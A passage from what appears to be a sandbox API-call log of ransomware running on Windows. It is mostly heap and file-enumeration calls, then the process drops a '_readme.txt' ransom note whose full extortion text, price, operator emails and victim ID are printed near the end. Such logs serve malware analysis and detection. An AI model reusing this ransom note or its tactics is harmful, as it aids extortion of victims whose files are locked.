| out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32600f0 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f808 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260050 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32601e0 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f948 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff88 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f768 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f970 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fee8 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260230 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc90 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fd80 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260118 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe98 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260168 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b3f0 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b348 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328dbb8 | out: hHeap=0x5d0000) returned 1 [0066.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182fd0 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1f8 | out: hHeap=0x5d0000) returned 1 [0066.351] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0066.351] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.352] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316af20 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fb00 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32600a0 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbf0 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316aeb0 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316ad60 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260280 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3186fe8 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329f158 | out: hHeap=0x5d0000) returned 1 [0066.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.354] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.355] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.356] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.357] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.357] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.357] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.357] PathFindFileNameW (pszPath="") returned="" [0066.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.357] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.358] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.358] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.358] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.358] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0066.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.358] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.358] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0066.359] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.359] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 